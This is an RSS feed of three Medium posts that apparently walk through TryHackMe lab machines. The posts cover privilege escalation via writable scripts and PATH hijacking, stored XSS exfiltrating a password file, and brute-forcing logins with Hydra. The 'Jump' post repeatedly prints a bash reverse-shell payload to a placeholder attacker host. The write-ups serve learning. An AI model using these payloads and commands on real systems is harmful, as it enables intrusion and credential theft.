<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ruben Acosta on Medium]]></title>
        <description><![CDATA[Stories by Ruben Acosta on Medium]]></description>
        <link>https://medium.com/@ruben.acosta010?source=rss-b6b270dc1bf8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*Ptv2PS3aceRoIkuT</url>
            <title>Stories by Ruben Acosta on Medium</title>
            <link>https://medium.com/@ruben.acosta010?source=rss-b6b270dc1bf8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 19:51:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ruben.acosta010/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe Write up — Jump]]></title>
            <link>https://medium.com/@ruben.acosta010/tryhackme-write-up-jump-e2fe4075a791?source=rss-b6b270dc1bf8------2</link>
            <guid isPermaLink="false">https://medium.com/p/e2fe4075a791</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Ruben Acosta]]></dc:creator>
            <pubDate>Sun, 04 Oct 2026 16:04:22 GMT</pubDate>
            <atom:updated>2026-10-04T16:04:22.490Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*sQqTMG-JgT2VjGkATXqsEw.png" /></figure><h3>Reconnaissance</h3><p>We begin by using Nmap to identify open ports. The scan reveals:</p><pre>Port 21 → FTP<br>Port 22 → SSH</pre><p>Next, we run a version detection and default scripts scan to gather more information about the services:</p><pre>nmap -sV -sC MACHINE-IP -p 21,22</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*ODAymvG2dZyCAfsZPJeOQA.png" /></figure><h4>Findings</h4><ol><li>FTP allows anonymous login, which may provide a way to upload a payload or retrieve useful information.</li></ol><p>We connect to the FTP service with ftp MACHINE-IP and, while exploring the available files, find README.txt. We download it:</p><pre>ftp&gt; get README.TXT</pre><p>Reading the file reveals the following message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*79BBmq7fVG1Lx78tLi8TBA.png" /></figure><h4>Findings</h4><ol><li>The incoming directory is where we can place a file to trigger a reverse shell.</li><li>Files are executed immediately after being uploaded to incoming.</li><li>The file must use an accepted format. We may need to work around the system’s restrictions if the format we want to use is on its blacklist.</li></ol><p>First, we open a terminal on our attacking machine and start a Netcat listener:</p><pre>nc -lvnp 4545</pre><p>We then create a malicious file containing the following payload:</p><pre>#!/bin/bash<br>/bin/bash -i &gt;&amp; /dev/tcp/ATTACKER-IP/ATTACKER-PORT 0&gt;&amp;1</pre><p>Once the file is ready, we use anonymous FTP login to navigate to the incoming directory and upload it:</p><pre>put /file/path file-name.sh</pre><p>After a few seconds, we receive a reverse shell on our machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*QyTIlWzszzw1KV164OQkVw.png" /></figure><p>The <strong>first flag</strong> is located in the recon_user home directory.</p><h3>Privilege Escalation to dev_user</h3><p>To monitor running processes in real time, we use pspy64. We transfer it to the target machine over HTTP by starting a simple web server on our attacking machine.</p><p>On the attacking machine:</p><pre>sudo python3 -m http.server</pre><p>On the target machine:</p><pre>wget http://ATTACKER-IP:8000/pspy64</pre><p>We make the binary executable:</p><pre>chmod 777 pspy64</pre><p>When we run it, we spot a file named backup.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jPukssd0tI0KbstLEdrwKw.png" /></figure><p>The file belongs to UID 1002, which corresponds to dev_user. We confirm that recon_user and dev_user share the dev_user group. Checking the permissions on backup.sh, we find that our current user can write to and execute it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*hXd45x4xFH6N3feBgtYlyA.png" /></figure><p>We can add a payload to the script to establish another reverse shell, this time as dev_user:</p><pre>/bin/bash -i &gt;&amp; /dev/tcp/ATTACKER-IP/ATTACKER-PORT 0&gt;&amp;1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*2HHrWRXC9GFEBhrrqYFXPg.png" /></figure><p>The <strong>second flag</strong> is in the dev_user home directory.</p><h3>Privilege Escalation to monitor_user</h3><p>Using pspy64, we find two points of interest:</p><ol><li>A file named healthcheck, owned by UID 1003 (monitor_user).</li><li>The ps command being run by UID 1003 (monitor_user).</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A2sYANxEAZNJ7rqzgpWykw.png" /></figure><p>We inspect the contents of healthcheck:</p><pre>#!/bin/bash<br>echo &quot;Running as: $(whoami)&quot;<br>while true; do<br>  ps aux | grep -v grep<br>  sleep 5<br>done</pre><p>The healthcheck service runs ps without specifying its full path. This means we may be able to place our own ps executable earlier in the command search path. We move to /opt/dev/bin and edit the ps command to include a reverse-shell payload:</p><pre>#!/bin/bash<br>/bin/bash -i &gt;&amp; /dev/tcp/ATTACKER-IP/ATTACKER-PORT 0&gt;&amp;1</pre><p>We make it executable with chmod and wait for the connection on our attacking machine’s Netcat listener:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*meSBcoKoQE3IA7H2TIzR1Q.png" /></figure><p>The <strong>third flag</strong> is in the monitor_user home directory.</p><h3>Privilege Escalation to ops_user</h3><p>We run sudo -l to check which commands monitor_user can execute with sudo:</p><pre>monitor_user@tryhackme-2404:~$ sudo -l<br>Matching Defaults entries for monitor_user on tryhackme-2404:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=LESS<br>User monitor_user may run the following commands on tryhackme-2404:<br>    (ops_user) NOPASSWD: /usr/local/bin/deploy.sh</pre><p>We can run deploy.sh as ops_user. Let’s inspect the script and its permissions:</p><pre>monitor_user@tryhackme-2404:~$ cat /usr/local/bin/deploy.sh<br>#!/bin/bash<br>cd /opt/app 2&gt;/dev/null<br>./deploy_helper.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*6JXm1X6pQhW83mbsUEOXrw.png" /></figure><p>The deploy.sh script changes to /opt/app and runs deploy_helper.sh. We can read and execute deploy.sh, but we cannot modify it. Next, we inspect the contents and permissions of deploy_helper.sh:</p><pre>monitor_user@tryhackme-2404:/opt/app$ cat deploy_helper.sh<br>#!/bin/bash<br>echo &quot;[+] Deploy helper running&quot;<br>echo &quot;[+] Syncing application files&quot;<br>sleep 2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*43sTE8YkTDdQtojbE_eEQw.png" /></figure><p>The helper script prints two messages and pauses for two seconds. Since it is owned by our current user, monitor_user, and we have write access, we can edit it and add a reverse-shell payload. When the script is run through deploy.sh with sudo, the payload executes as ops_user:</p><pre>/bin/bash -i &gt;&amp; /dev/tcp/ATTACKER-IP/ATTACKER-PORT 0&gt;&amp;1</pre><p>We start a Netcat listener, return to /usr/local/bin, and run deploy.sh as ops_user:</p><pre>monitor_user@tryhackme-2404:/usr/local/bin$ sudo -u ops_user deploy.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*0-2Ey-Z23hDw_kFu655a1g.png" /></figure><p>The <strong>fourth flag</strong> is in the ops_user home directory.</p><h3>Privilege Escalation to Root</h3><p>Once again, we run sudo -l and discover that we can run less as root. At this point, we do not need to escalate to a root shell: we can use less to read /root/flag.txt directly and retrieve the final flag.</p><pre>ops_user@tryhackme-2404:/$ sudo less /root/flag.txt</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e2fe4075a791" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Write up — WhyHackMe]]></title>
            <link>https://medium.com/@ruben.acosta010/tryhackme-write-up-whyhackme-26d86d1e913d?source=rss-b6b270dc1bf8------2</link>
            <guid isPermaLink="false">https://medium.com/p/26d86d1e913d</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ruben Acosta]]></dc:creator>
            <pubDate>Sun, 13 Sep 2026 21:44:58 GMT</pubDate>
            <atom:updated>2026-09-13T21:45:56.421Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*mc0wGM_ZPdVFI9XwUOj-PA.png" /></figure><h3>Initial Enumeration</h3><p>We start by performing a port scan with Nmap:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*JqUBcHuIpHlZZ-gNAVONdg.png" /></figure><p>The scan reveals the following services:</p><ol><li><strong>FTP</strong> is susceptible to anonymous login, and we found a file named update.txt.</li><li>A <strong>web service</strong> is running on port 80.</li></ol><p>We connect to the FTP server to download update.txt and inspect its contents:</p><pre>ftp 10.67.179.76</pre><pre>Name: anonymous<br>Password: anything</pre><pre>get update.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*40EAP6qBF35Dc8zi3LLdIw.png" /></figure><h3>Findings</h3><p>The file provides us with two important pieces of information:</p><ol><li>There was a user named mike.</li><li>The password for the new user is stored in /dir/pass.txt. However, this file is only accessible by the admin user, users who have access to the common account, or from the server&#39;s local context (localhost).</li></ol><h3>Web Application Enumeration</h3><p>Next, we explore the web application. We find a link to blog.php, which contains another link to login.php.</p><p>Before investigating the application manually, it is preferable to perform directory and file enumeration. For this, we use <strong>Gobuster</strong>:</p><pre>gobuster dir --url http://10.67.133.226 -w /usr/share/dirb/wordlists/common.txt -x html,txt,php,xml,js</pre><p>We obtain the following findings:</p><ol><li>blog.php contains a message posted by the admin user. We could potentially use this username to attempt a password attack with Hydra.</li><li>register.php allows us to register a new user, which gives us an opportunity to further investigate the web application.</li></ol><h3>Attempting to Brute-Force the Admin Password</h3><p>Since we discovered the admin username, we can try to find its password using Hydra:</p><pre>hydra -l admin -P /usr/share/wordlists/rockyou.txt MACHINE-IP http-post-form &quot;/login.php:username=^USER^&amp;password=^PASS^:Invalid username or password&quot; -f -K</pre><p>However, Hydra does not find any valid credentials, so we move on to the second option.</p><h3>Stored XSS</h3><p>After registering a new user, we gain access to the option to post comments on blog.php.</p><p>Let’s test whether we can inject HTML or JavaScript code into a comment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*LTIv1YiROMIZbxVnkZORSg.png" /></figure><p>The application displays the text we entered, but when inspecting the page source, we can see that the characters are being properly encoded.</p><p>However, we notice something interesting: whenever a comment is loaded, the application also displays the username of the user who posted it.</p><p>This raises an important question:</p><blockquote><em>Could the username itself be vulnerable to Stored XSS?</em></blockquote><p>Let’s test this by creating a user with the following username:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/257/1*Tbd06ptkZ6La_c7ZknHRXA.png" /></figure><p>After logging in, we post a test comment to see how the application handles the username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hu2Hd-mI-GA4vVt5TRmBmw.png" /></figure><p><strong>Bingo!</strong></p><p>The username is indeed vulnerable to <strong>Stored XSS</strong>.</p><p>Now we can create a user whose username contains a payload designed to read the contents of /dir/pass.txt.</p><p>To do this, we can use JavaScript’s fetch() function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NPJzqYZpar9cBIbgzCFj5Q.png" /></figure><p>The first request retrieves the contents of pass.txt from the local server. The second request sends the retrieved data to our attacker machine.</p><p>On the attacker machine, we start a simple HTTP server to receive the request:</p><pre>python3 -m http.server 8000</pre><p>After creating the malicious user, logging in, and posting a comment, the payload is executed.</p><p>After a few seconds, we receive the request containing the contents of the file on our HTTP server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gz5tECmjIY_xbew-wnpduQ.png" /></figure><p>The response is URL-encoded. After decoding it with CyberChef, we obtain the following credentials:</p><p>jack:WhyIsMyPasswordSoStrongIDK</p><p>We can now use these credentials to access the machine via SSH.</p><pre>ssh jack@MACHINE-IP</pre><p>Once logged in, we obtain the <strong>first flag</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*8HsBdNAh8geNl9hID8s0yg.png" /></figure><h3>Privilege Escalation</h3><p>Now we need to escalate our privileges to obtain the second flag.</p><p>We start by checking which commands the jack user can execute with sudo:</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3dR_et_mWJiPy-b2tUvMxQ.png" /></figure><p>We can see that jack is allowed to execute iptables as root.</p><p>This means we can potentially modify the firewall rules and allow traffic that is currently being blocked, or create new rules if necessary.</p><p>We inspect the current iptables configuration:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T6cnJ3yDs4bDE_QKMZLfxw.png" /></figure><p>We notice that there is a rule dropping all traffic to port 41312.</p><p>This raises an interesting question:</p><blockquote><em>Why is traffic to this port being blocked?</em></blockquote><h3>Investigating /opt</h3><p>While investigating the machine, we find a couple of interesting files inside the /opt directory.</p><p>The first one is:</p><pre>urgent.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SvDOMaNsaNftxiN_aKv-ag.png" /></figure><p>The contents provide us with two important clues:</p><ul><li>Port 41312 is most likely the backdoor mentioned by the admin user.</li><li>While checking the permissions under /usr/lib/, we notice that the /cgi-bin directory belongs to the h4ck3d group. This explains why we were unable to remove it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*wMZ58udFwZNFD9_6VsQQ9A.png" /></figure><p>We need to investigate this group further.</p><pre>cat /etc/group | grep h4ck3d</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*4CP2ka6AoN0ZXCDw8GnNcg.png" /></figure><p>We discover that the www-data user is a member of the h4ck3d group.</p><p>Since www-data is the default user used by Apache web applications, this suggests that there may be a web application or resource that we cannot directly access from our current user.</p><p>At this point, we turn our attention to the capture.pcap file.</p><h3>Analyzing capture.pcap</h3><p>The second interesting file is:</p><pre>capture.pcap</pre><p>We download it to our attacker machine:</p><pre>scp jack@IP-VICTIM:/opt/capture.pcap ./Downloads</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FYgbhrmgcDSAJ3dvTuKm9A.png" /></figure><p>We open the capture in Wireshark and notice traffic on port 41312 — precisely the port that was being blocked by the firewall.</p><p>The traffic is encrypted, so in order to decrypt it, we need to find the corresponding key.</p><p>We search the filesystem for key files:</p><pre>find / -name &quot;*.key&quot; 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*gIfP0H06jKjNhPyZCm0HBA.png" /></figure><p>We find a key file that can be used to decrypt the traffic.</p><p>We download the key to our attacker machine and configure it as a TLS key in Wireshark for the capture.pcap file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MfuSrudRR8YASh2RgTQfag.png" /></figure><p>After decrypting the traffic, we obtain the following information:</p><ul><li>A URL vulnerable to <strong>command injection</strong> through parameters.</li><li>The URL is accessible through port 41312.</li></ul><p>Therefore, the next step is to remove the firewall rule blocking traffic to port 41312.</p><p>First, we list the rules along with their line numbers:</p><pre>sudo iptables -L --line-numbers</pre><p>Then, we remove the rule blocking the traffic:</p><pre>sudo iptables -D INPUT 1</pre><h3>Exploiting the Command Injection</h3><p>We can now access the URL discovered in the packet capture:</p><pre>https://10.113.167.197:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&amp;iv=VZukhsCo8TlTXORN&amp;cmd=id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*5Pkdnob9kfRrVIVqgciPoQ.png" /></figure><p>The cmd parameter allows us to execute commands on the server.</p><p>Since we have confirmed command execution, we can use it to obtain a reverse shell on our attacker machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*If0n0fCN1SzgzIKcbmVy9g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*3VqTCMETt0_9Pj1-yxA_6Q.png" /></figure><p>Once we obtain the reverse shell, we check our current privileges:</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gMnNsaDaRI-N9vx9696Xsw.png" /></figure><p>This time, we can execute <strong>all commands as root</strong>.</p><p>Therefore, we can simply switch to the root user:</p><pre>sudo su</pre><p>Finally, we navigate to /root and find the root.txt flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*jSsW4fk9Q47RlEBQ11E0BQ.png" /></figure><p>And that’s it! We have successfully obtained the second flag and completed the machine.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=26d86d1e913d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Checkmate]]></title>
            <link>https://medium.com/@ruben.acosta010/tryhackme-checkmate-754f17319cf3?source=rss-b6b270dc1bf8------2</link>
            <guid isPermaLink="false">https://medium.com/p/754f17319cf3</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[checkmate]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ruben Acosta]]></dc:creator>
            <pubDate>Sat, 05 Sep 2026 19:02:11 GMT</pubDate>
            <atom:updated>2026-09-05T19:02:11.403Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="412" src="https://cdn-images-1.medium.com/proxy/1*mwyg1UzOJbMB1BIRGrWMFw.png" /><figcaption>Tryhackme — Checkmate</figcaption></figure><p>This room involves conducting a password security assessment across five different levels. You need to solve each level in order to complete the challenge.</p><p>We start by visiting <a href="http://machine_ip:5000/">http://MACHINE_IP:5000</a>, where we will follow the steps and hints to solve each level of the challenge.</p><h3>Level 1</h3><p><strong>Hint: Marco deployed a firewall at firewall.thm:5001 but kept default credentials.</strong></p><p>As we can see, the username is already provided. We only need to find the password, so we can use <strong>Hydra</strong> and <strong>rockyou.txt</strong> for this.</p><pre>hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 5001 MACHINE-IP http-post-form &quot;/login:username=^USER^&amp;password=^PASS^:Invalid credentials.&quot; -f -K</pre><p>We get the first password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*Tn7meq8QO0g1nqZw7cGLhA.png" /></figure><p>Level 1 completed!</p><h3>Level 2</h3><p><strong>Hint: Marco built an internal Employee Login panel on jobs.thm:5002 and used common company keywords as passwords.</strong></p><p>To obtain this password, we first need to extract keywords from the website. We’ll use <strong>CeWL</strong> to accomplish this.</p><pre>cewl -d 2 -m 3 --lowercase --with-numbers -w company_words.txt http://MACHINE-IP:5002</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*BHpkI8-gfRC_wstS9eFKnQ.png" /></figure><p>As in Level 1, the username is already provided, so now we can use Hydra to find the password using the wordlist we obtained earlier.</p><pre>hydra -l marco -P company_passwords.txt -s 5002 MACHINE-IP http-post-form &quot;/login:username=^USER^&amp;password=^PASS^:Invalid credentials.&quot; -f -K</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*WdXwTSnqPgFBrdApcZDqsA.png" /></figure><p>Level 2 completed!.</p><h3>Level 3</h3><p>Objective: Navigate to social.thm:5003 and derive Marco’s password from personal info.<br> <strong>Hint: Use the details from jobs.thm to generate Marco’s Password</strong></p><p>To complete this level, we need to generate a list of passwords using the information we obtained in Level 2. We can use a tool called <strong>CUPP (Common User Passwords Profiler)</strong>.</p><p>We can download it from GitHub (<a href="https://github.com/mebus/cupp">https://github.com/mebus/cupp</a>).</p><pre>git clone https://github.com/mebus/cupp<br>cd cupp</pre><p>The command we need to use is:</p><pre>python3 cupp.py -i</pre><p>The -i flag enables interactive mode. Enter all the information we obtained from the previous level about Marco. You can skip the remaining fields.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*_QjGSlhhsimOuNLL7UeXAA.png" /></figure><p>Now, we can use Hydra again to find the password:</p><pre>hydra -l marco -P marco.txt -s 5003 MACHINE-IP http-post-form &quot;/login:username=^USER^&amp;password=^PASS^:Invalid credentials.&quot; -f -K</pre><p>Level 3 completed!</p><h3>Level 4</h3><p>Objective: On social.thm:5003, Marco recently uploaded a new profile picture. For privacy and storage consistency, the platform automatically renames uploaded files to the SHA256 hash of the original filename and saves them in the format (SHA256).png. Your task is to identify the original filename of Marco’s uploaded profile picture. Submit only the filename to proceed.</p><p>If we inspect the page source, we can find the name of the profile image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*bj4eURNFsrZbqQFm5wRzAg.png" /></figure><p>We copy the hash to a .txt file and use <strong>John the Ripper</strong> to crack it and recover the original filename.</p><pre>john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt image_hash.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TcD01oA3jMrQUjIcfqh8Jw.png" /></figure><p>Level 4 completed!</p><h3>Level 5</h3><p>Objective: Marco has revealed his password pattern on social.thm:5003, using predictable rules based on keywords and formatting. Use this information to generate a targeted wordlist and brute-force the SSH service with username marco.</p><p><strong>Hint</strong><br>My tip for strong password: I take a <strong>company keyword, capitalize</strong> it, the append the <strong>year</strong> like 2024 or any other number and <strong>exclamation mark.</strong></p><p>We are going to use the wordlist we obtained in Level 2 and capitalize the first letter of each word using <strong>awk</strong>.</p><pre>awk &#39;{print toupper(substr($0,1,1)) substr($0,2)}&#39; input.txt &gt; output.txt</pre><p>Now it’s time to generate a wordlist following the rule described in the hint. We can do this very easily with a Bash script:</p><pre>#!/bin/bash<br><br>INPUT=&quot;company_words_clean.txt&quot;<br>OUTPUT=&quot;passwords_level5.txt&quot;<br><br># Create/empty the output file<br><br>&gt; &quot;$OUTPUT&quot;<br><br>while IFS= read -r word; do <br><br> # Ignore empty lines <br><br> [[ -z &quot;$word&quot; ]] &amp;&amp; continue<br> <br> # Generate numbers 00-99<br> <br> for num in $(seq -w 0 99); do<br>  echo &quot;${word}20${num}!&quot; &gt;&gt; &quot;$OUTPUT&quot;<br> done <br><br>done &lt; &quot;$INPUT&quot; <br><br>echo &quot;Wordlist generated: $OUTPUT&quot;</pre><p>Now we can use the generated wordlist to find the password for the SSH service using the username <strong>marco</strong>.</p><pre>hydra -l marco -P password_level5.txt ssh://MACHINE_IP -f -K</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*Oqx1bdT6-V5zCzhCSbxyPA.png" /></figure><p>Level 5 completed!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=754f17319cf3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>